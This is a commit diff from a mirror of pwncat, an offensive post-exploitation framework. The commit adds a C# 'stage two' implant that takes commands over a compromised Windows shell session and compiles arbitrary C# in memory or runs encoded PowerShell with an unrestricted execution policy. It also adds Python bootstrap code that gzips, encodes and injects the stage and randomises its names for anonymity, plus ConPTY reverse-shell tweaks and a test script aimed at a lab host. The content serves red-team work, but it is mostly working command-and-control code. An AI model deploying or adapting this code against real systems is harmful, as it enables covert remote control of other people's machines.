mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 10:54:14 +01:00
Added proper stagetwo source with basic C# and powershell commands
This commit is contained in:
parent
96292b17d4
commit
274611263e
@ -11,6 +11,7 @@ public static class ConPtyShell
|
|||||||
private const string errorString = "{{{ConPtyShellException}}}\r\n";
|
private const string errorString = "{{{ConPtyShellException}}}\r\n";
|
||||||
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
|
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
|
||||||
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
|
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
|
||||||
|
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
|
||||||
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
|
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
|
||||||
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
||||||
private const uint CREATE_NO_WINDOW = 0x08000000;
|
private const uint CREATE_NO_WINDOW = 0x08000000;
|
||||||
@ -236,21 +237,11 @@ public static class ConPtyShell
|
|||||||
throw new InvalidOperationException("Could not get console mode");
|
throw new InvalidOperationException("Could not get console mode");
|
||||||
}
|
}
|
||||||
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
|
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
|
||||||
|
outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT;
|
||||||
if (!SetConsoleMode(hStdOut, outConsoleMode))
|
if (!SetConsoleMode(hStdOut, outConsoleMode))
|
||||||
{
|
{
|
||||||
throw new InvalidOperationException("Could not enable virtual terminal processing");
|
throw new InvalidOperationException("Could not enable virtual terminal processing");
|
||||||
}
|
}
|
||||||
|
|
||||||
IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE);
|
|
||||||
if (!GetConsoleMode(hStdIn, out outConsoleMode))
|
|
||||||
{
|
|
||||||
throw new InvalidOperationException("Could not get console mode");
|
|
||||||
}
|
|
||||||
outConsoleMode |= 0x0004 | 0x0001 | 0x0200;
|
|
||||||
if (!SetConsoleMode(hStdIn, outConsoleMode))
|
|
||||||
{
|
|
||||||
throw new InvalidOperationException("Could not enable virtual terminal processing");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
|
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
|
||||||
|
78
pwncat/data/stagetwo.cs
Normal file
78
pwncat/data/stagetwo.cs
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
class StageTwo
|
||||||
|
{
|
||||||
|
public System.String ReadUntilLine(System.String delimeter)
|
||||||
|
{
|
||||||
|
System.Text.StringBuilder builder = new System.Text.StringBuilder();
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
System.String line = System.Console.ReadLine();
|
||||||
|
if (line == delimeter)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
builder.AppendLine(line);
|
||||||
|
}
|
||||||
|
|
||||||
|
return builder.ToString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void main()
|
||||||
|
{
|
||||||
|
object[] args = new object[] { };
|
||||||
|
|
||||||
|
System.Console.WriteLine("READY");
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
System.String line = System.Console.ReadLine();
|
||||||
|
var method = GetType().GetMethod(line);
|
||||||
|
if (method == null) continue;
|
||||||
|
method.Invoke(this, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void powershell()
|
||||||
|
{
|
||||||
|
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
|
||||||
|
var startinfo = new System.Diagnostics.ProcessStartInfo()
|
||||||
|
{
|
||||||
|
FileName = "powershell.exe",
|
||||||
|
Arguments = "-noprofile -ep unrestricted -enc " + command,
|
||||||
|
UseShellExecute = false
|
||||||
|
};
|
||||||
|
|
||||||
|
var p = System.Diagnostics.Process.Start(startinfo);
|
||||||
|
p.WaitForExit();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void csharp()
|
||||||
|
{
|
||||||
|
var cp = new System.CodeDom.Compiler.CompilerParameters()
|
||||||
|
{
|
||||||
|
GenerateExecutable = false,
|
||||||
|
GenerateInMemory = true,
|
||||||
|
};
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
System.String line = System.Console.ReadLine();
|
||||||
|
if (line == "/* ENDASM */") break;
|
||||||
|
cp.ReferencedAssemblies.Add(line);
|
||||||
|
}
|
||||||
|
|
||||||
|
cp.ReferencedAssemblies.Add("System.dll");
|
||||||
|
cp.ReferencedAssemblies.Add("System.Core.dll");
|
||||||
|
cp.ReferencedAssemblies.Add("System.Dynamic.dll");
|
||||||
|
cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
|
||||||
|
|
||||||
|
var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */"));
|
||||||
|
if (r.Errors.HasErrors)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
var obj = r.CompiledAssembly.CreateInstance("command");
|
||||||
|
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
|
||||||
|
}
|
||||||
|
}
|
@ -1,13 +1,18 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
|
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
|
||||||
|
from typing import List
|
||||||
|
from io import StringIO, BytesIO
|
||||||
|
import textwrap
|
||||||
import pkg_resources
|
import pkg_resources
|
||||||
import pathlib
|
import pathlib
|
||||||
import base64
|
import base64
|
||||||
import time
|
import time
|
||||||
|
import gzip
|
||||||
import os
|
import os
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
import pwncat.subprocess
|
import pwncat.subprocess
|
||||||
|
import pwncat.util
|
||||||
from pwncat.platform import Platform, PlatformError, Path
|
from pwncat.platform import Platform, PlatformError, Path
|
||||||
|
|
||||||
|
|
||||||
@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen):
|
|||||||
Windows-specific Popen wrapper class
|
Windows-specific Popen wrapper class
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
platform: Platform,
|
||||||
|
args,
|
||||||
|
stdout,
|
||||||
|
stdin,
|
||||||
|
text,
|
||||||
|
encoding,
|
||||||
|
errors,
|
||||||
|
bufsize,
|
||||||
|
start_delim: bytes,
|
||||||
|
end_delim: bytes,
|
||||||
|
code_delim: bytes,
|
||||||
|
):
|
||||||
|
super().__init__()
|
||||||
|
|
||||||
|
|
||||||
class WindowsReader(BufferedIOBase):
|
class WindowsReader(BufferedIOBase):
|
||||||
"""
|
"""
|
||||||
@ -37,6 +58,13 @@ class Windows(Platform):
|
|||||||
established with an open powershell session."""
|
established with an open powershell session."""
|
||||||
|
|
||||||
PATH_TYPE = pathlib.PureWindowsPath
|
PATH_TYPE = pathlib.PureWindowsPath
|
||||||
|
LIBRARY_IMPORTS = {
|
||||||
|
"Kernel32": [
|
||||||
|
"IntPtr GetStdHandle(int nStdHandle)",
|
||||||
|
"bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)",
|
||||||
|
"bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)",
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
def __init__(
|
def __init__(
|
||||||
self,
|
self,
|
||||||
@ -56,13 +84,119 @@ class Windows(Platform):
|
|||||||
|
|
||||||
# Most Windows connections aren't capable of a PTY, and checking
|
# Most Windows connections aren't capable of a PTY, and checking
|
||||||
# is difficult this early. We will assume there isn't one.
|
# is difficult this early. We will assume there isn't one.
|
||||||
self.has_pty = False
|
self.has_pty = True
|
||||||
|
|
||||||
# Trigger allocation of a pty. Because of powershell and windows
|
# Trigger allocation of a pty. Because of powershell and windows
|
||||||
# being unpredictable and weird, we basically *need* this. So,
|
# being unpredictable and weird, we basically *need* this. So,
|
||||||
# we trigger it initially. WinAPI is available everywhere so on
|
# we trigger it initially. WinAPI is available everywhere so on
|
||||||
# any relatively recent version of windows, this should be fine.
|
# any relatively recent version of windows, this should be fine.
|
||||||
self.get_pty()
|
# self.get_pty()
|
||||||
|
|
||||||
|
self._bootstrap_stage_two()
|
||||||
|
|
||||||
|
# Load requested libraries
|
||||||
|
# for library, methods in self.LIBRARY_IMPORTS.items():
|
||||||
|
# self._load_library(library, methods)
|
||||||
|
|
||||||
|
def _bootstrap_stage_two(self):
|
||||||
|
"""This takes the stage one C2 (powershell) and boostraps it for stage
|
||||||
|
two. Stage two is C# code dynamically compiled and executed. We first
|
||||||
|
execute a small C# payload from Powershell which then infinitely accepts
|
||||||
|
more C# to be executed. Further payloads are separated by the delimeters:
|
||||||
|
|
||||||
|
- "/* START CODE BLOCK */"
|
||||||
|
- "/* END CODE BLOCK */"
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Read stage two source code
|
||||||
|
stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
|
||||||
|
with open(stage_two_path, "rb") as filp:
|
||||||
|
source = filp.read()
|
||||||
|
|
||||||
|
# Randomize class and method name for a smidge of anonymity
|
||||||
|
clazz = pwncat.util.random_string(8)
|
||||||
|
main = pwncat.util.random_string(8)
|
||||||
|
source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8"))
|
||||||
|
source = source.replace(
|
||||||
|
b"public void main", b"public void " + main.encode("utf-8")
|
||||||
|
)
|
||||||
|
|
||||||
|
# compress and encode source
|
||||||
|
source_gz = BytesIO()
|
||||||
|
with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz:
|
||||||
|
gz.write(source)
|
||||||
|
source_enc = base64.b64encode(source_gz.getvalue())
|
||||||
|
|
||||||
|
# List of needed assemblies for stage two
|
||||||
|
needed_assemblies = [
|
||||||
|
"System.dll",
|
||||||
|
"System.Core.dll",
|
||||||
|
"System.Dynamic.dll",
|
||||||
|
"Microsoft.CSharp.dll",
|
||||||
|
]
|
||||||
|
|
||||||
|
# List of commands in the payload to bootstrap stage two
|
||||||
|
payload = [
|
||||||
|
"$cp = New-Object System.CodeDom.Compiler.CompilerParameters",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Add all needed assemblies to the compiler parameters
|
||||||
|
for assembly in needed_assemblies:
|
||||||
|
payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""")
|
||||||
|
|
||||||
|
# Compile our C2 code and execute it
|
||||||
|
payload.extend(
|
||||||
|
[
|
||||||
|
"$cp.GenerateExecutable = $false",
|
||||||
|
"$cp.GenerateInMemory = $true",
|
||||||
|
"$gzb = [System.Convert]::FromBase64String((Read-Host))",
|
||||||
|
"$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)",
|
||||||
|
"$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)",
|
||||||
|
f"$source = New-Object byte[]({len(source)})",
|
||||||
|
f"$gz.Read($source, 0, {len(source)})",
|
||||||
|
"$gz.Close()",
|
||||||
|
"$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))",
|
||||||
|
f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
# Send the payload, then send the encoded and compressed code
|
||||||
|
self.channel.send((";".join(payload)).encode("utf-8") + b"\n")
|
||||||
|
self.channel.send(source_enc + b"\n")
|
||||||
|
|
||||||
|
# Wait for the new C2 to be ready
|
||||||
|
self.channel.recvuntil(b"READY")
|
||||||
|
|
||||||
|
def _load_library(self, name: str, methods: List[str]):
|
||||||
|
"""Load the library. This adds a global with the same name as `name`
|
||||||
|
which contains a reference to the library with all methods specified in
|
||||||
|
`mehods` loaded."""
|
||||||
|
|
||||||
|
name = name.encode("utf-8")
|
||||||
|
method_def = b""
|
||||||
|
|
||||||
|
for method in methods:
|
||||||
|
method = method.encode("utf-8")
|
||||||
|
# self.channel.send(
|
||||||
|
method_def += (
|
||||||
|
b'[DllImport(`"'
|
||||||
|
+ name
|
||||||
|
+ b'.dll`", SetLastError = true)]`npublic static extern '
|
||||||
|
+ method
|
||||||
|
+ b";`n"
|
||||||
|
)
|
||||||
|
|
||||||
|
command = (
|
||||||
|
b"$"
|
||||||
|
+ name
|
||||||
|
+ b' = Add-Type -MemberDefinition "'
|
||||||
|
+ method_def
|
||||||
|
+ b"\" -Name '"
|
||||||
|
+ name
|
||||||
|
+ b"' -Namespace 'Win32' -PassThru\n"
|
||||||
|
)
|
||||||
|
self.channel.send(command)
|
||||||
|
self.session.manager.log(command.decode("utf-8").strip())
|
||||||
|
|
||||||
def get_pty(self):
|
def get_pty(self):
|
||||||
""" Spawn a PTY in the current shell. """
|
""" Spawn a PTY in the current shell. """
|
||||||
@ -91,7 +225,6 @@ class Windows(Platform):
|
|||||||
for idx in range(0, len(source), CHUNK_SZ):
|
for idx in range(0, len(source), CHUNK_SZ):
|
||||||
chunk = source[idx : idx + CHUNK_SZ]
|
chunk = source[idx : idx + CHUNK_SZ]
|
||||||
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
|
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
|
||||||
time.sleep(0.1)
|
|
||||||
|
|
||||||
# decode the source
|
# decode the source
|
||||||
self.channel.send(
|
self.channel.send(
|
||||||
@ -109,9 +242,6 @@ class Windows(Platform):
|
|||||||
+ b"\n"
|
+ b"\n"
|
||||||
)
|
)
|
||||||
|
|
||||||
self.channel.recvuntil(b"> ")
|
|
||||||
self.channel.send(b"\n")
|
|
||||||
|
|
||||||
self.has_pty = True
|
self.has_pty = True
|
||||||
|
|
||||||
def get_host_hash(self):
|
def get_host_hash(self):
|
||||||
@ -124,6 +254,8 @@ class Windows(Platform):
|
|||||||
@interactive.setter
|
@interactive.setter
|
||||||
def interactive(self, value):
|
def interactive(self, value):
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
|
|
||||||
command = (
|
command = (
|
||||||
@ -138,13 +270,10 @@ class Windows(Platform):
|
|||||||
"}",
|
"}",
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
+ "\r\r"
|
+ "\r"
|
||||||
)
|
)
|
||||||
|
|
||||||
self.logger.info(command.rstrip("\n"))
|
self.logger.info(command.rstrip("\n"))
|
||||||
self.channel.send(command.encode("utf-8"))
|
self.channel.send(command.encode("utf-8"))
|
||||||
|
|
||||||
self.channel.recvuntil(b"$")
|
|
||||||
self.channel.recvuntil(b"\n")
|
|
||||||
|
|
||||||
return
|
return
|
||||||
|
@ -94,7 +94,7 @@ class CompilationError(Exception):
|
|||||||
|
|
||||||
def isprintable(data) -> bool:
|
def isprintable(data) -> bool:
|
||||||
"""
|
"""
|
||||||
This is a convenience function to be used rather than the usual
|
This is a convenience function to be used rather than the usual
|
||||||
``str.printable`` boolean value, as that built-in **DOES NOT** consider
|
``str.printable`` boolean value, as that built-in **DOES NOT** consider
|
||||||
newlines to be part of the printable data set (weird!)
|
newlines to be part of the printable data set (weird!)
|
||||||
"""
|
"""
|
||||||
@ -113,9 +113,9 @@ def human_readable_size(size, decimal_places=2):
|
|||||||
|
|
||||||
|
|
||||||
def human_readable_delta(seconds):
|
def human_readable_delta(seconds):
|
||||||
""" This produces a human-readable time-delta output suitable for output to
|
"""This produces a human-readable time-delta output suitable for output to
|
||||||
the terminal. It assumes that "seconds" is less than 1 day. I.e. it will only
|
the terminal. It assumes that "seconds" is less than 1 day. I.e. it will only
|
||||||
display at most, hours minutes and seconds. """
|
display at most, hours minutes and seconds."""
|
||||||
|
|
||||||
if seconds < 60:
|
if seconds < 60:
|
||||||
return f"{seconds:.2f} seconds"
|
return f"{seconds:.2f} seconds"
|
||||||
@ -134,17 +134,17 @@ def human_readable_delta(seconds):
|
|||||||
|
|
||||||
|
|
||||||
def join(argv: List[str]):
|
def join(argv: List[str]):
|
||||||
""" Join the string much line shlex.join, except assume that each token
|
"""Join the string much line shlex.join, except assume that each token
|
||||||
is expecting double quotes. This allows variable references within the
|
is expecting double quotes. This allows variable references within the
|
||||||
tokens. """
|
tokens."""
|
||||||
|
|
||||||
return " ".join([quote(x) for x in argv])
|
return " ".join([quote(x) for x in argv])
|
||||||
|
|
||||||
|
|
||||||
def quote(token: str):
|
def quote(token: str):
|
||||||
""" Quote the token much like shlex.quote, except don't use single quotes
|
"""Quote the token much like shlex.quote, except don't use single quotes
|
||||||
this will escape any double quotes in the string and wrap it in double
|
this will escape any double quotes in the string and wrap it in double
|
||||||
quotes. If there are no spaces, it returns the stirng unchanged. """
|
quotes. If there are no spaces, it returns the stirng unchanged."""
|
||||||
for c in token:
|
for c in token:
|
||||||
if c in string.whitespace:
|
if c in string.whitespace:
|
||||||
break
|
break
|
||||||
@ -176,8 +176,8 @@ def escape_markdown(s: str) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def copyfileobj(src, dst, callback, nomv=False):
|
def copyfileobj(src, dst, callback, nomv=False):
|
||||||
""" Copy a file object to another file object with a callback.
|
"""Copy a file object to another file object with a callback.
|
||||||
This method assumes that both files are binary and support readinto
|
This method assumes that both files are binary and support readinto
|
||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@ -209,11 +209,11 @@ def copyfileobj(src, dst, callback, nomv=False):
|
|||||||
|
|
||||||
|
|
||||||
def with_progress(title: str, target: Callable[[Callable], None], length: int = None):
|
def with_progress(title: str, target: Callable[[Callable], None], length: int = None):
|
||||||
""" A shortcut to displaying a progress bar for various things. It will
|
"""A shortcut to displaying a progress bar for various things. It will
|
||||||
start a prompt_toolkit progress bar with the given title and a counter
|
start a prompt_toolkit progress bar with the given title and a counter
|
||||||
with the given length. Then, it will call `target` with an `on_progress`
|
with the given length. Then, it will call `target` with an `on_progress`
|
||||||
parameter. This parameter should be called for all progress updates. See
|
parameter. This parameter should be called for all progress updates. See
|
||||||
the `do_upload` and `do_download` for examples w/ copyfileobj """
|
the `do_upload` and `do_download` for examples w/ copyfileobj"""
|
||||||
|
|
||||||
with ProgressBar(title) as pb:
|
with ProgressBar(title) as pb:
|
||||||
counter = pb(range(length))
|
counter = pb(range(length))
|
||||||
@ -242,13 +242,15 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int =
|
|||||||
|
|
||||||
def random_string(length: int = 8):
|
def random_string(length: int = 8):
|
||||||
""" Create a random alphanumeric string """
|
""" Create a random alphanumeric string """
|
||||||
return "".join(random.choice(ALPHANUMERIC) for _ in range(length))
|
return random.choice(string.ascii_letters) + "".join(
|
||||||
|
random.choice(ALPHANUMERIC) for _ in range(length - 1)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def enter_raw_mode():
|
def enter_raw_mode():
|
||||||
""" Set stdin/stdout to raw mode to pass data directly.
|
"""Set stdin/stdout to raw mode to pass data directly.
|
||||||
|
|
||||||
returns: the old state of the terminal
|
returns: the old state of the terminal
|
||||||
"""
|
"""
|
||||||
|
|
||||||
# Ensure we don't have any weird buffering issues
|
# Ensure we don't have any weird buffering issues
|
||||||
@ -297,9 +299,9 @@ def restore_terminal(state, new_line=True):
|
|||||||
|
|
||||||
|
|
||||||
def get_ip_addr() -> str:
|
def get_ip_addr() -> str:
|
||||||
""" Retrieve the current IP address. This will return the first tun/tap
|
"""Retrieve the current IP address. This will return the first tun/tap
|
||||||
interface if availabe. Otherwise, it will return the first "normal"
|
interface if availabe. Otherwise, it will return the first "normal"
|
||||||
interface with no preference for wired/wireless. """
|
interface with no preference for wired/wireless."""
|
||||||
|
|
||||||
PROTO = netifaces.AF_INET
|
PROTO = netifaces.AF_INET
|
||||||
ifaces = [
|
ifaces = [
|
||||||
|
18
test.py
18
test.py
@ -1,5 +1,6 @@
|
|||||||
#!./env/bin/python
|
#!./env/bin/python
|
||||||
import pwncat.manager
|
import pwncat.manager
|
||||||
|
import time
|
||||||
|
|
||||||
# Create a manager
|
# Create a manager
|
||||||
manager = pwncat.manager.Manager("data/pwncatrc")
|
manager = pwncat.manager.Manager("data/pwncatrc")
|
||||||
@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc")
|
|||||||
# Establish a session
|
# Establish a session
|
||||||
session = manager.create_session("windows", host="192.168.122.11", port=4444)
|
session = manager.create_session("windows", host="192.168.122.11", port=4444)
|
||||||
|
|
||||||
|
session.platform.channel.send(
|
||||||
|
b"""
|
||||||
|
csharp
|
||||||
|
/* ENDASM */
|
||||||
|
class command {
|
||||||
|
public void main()
|
||||||
|
{
|
||||||
|
System.Console.WriteLine("We can execute C# Now!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/* ENDBLOCK */
|
||||||
|
powershell
|
||||||
|
Write-Host "And we can execute powershell!"
|
||||||
|
# ENDBLOCK
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
|
||||||
manager.interactive()
|
manager.interactive()
|
||||||
|
Loading…
Reference in New Issue
Block a user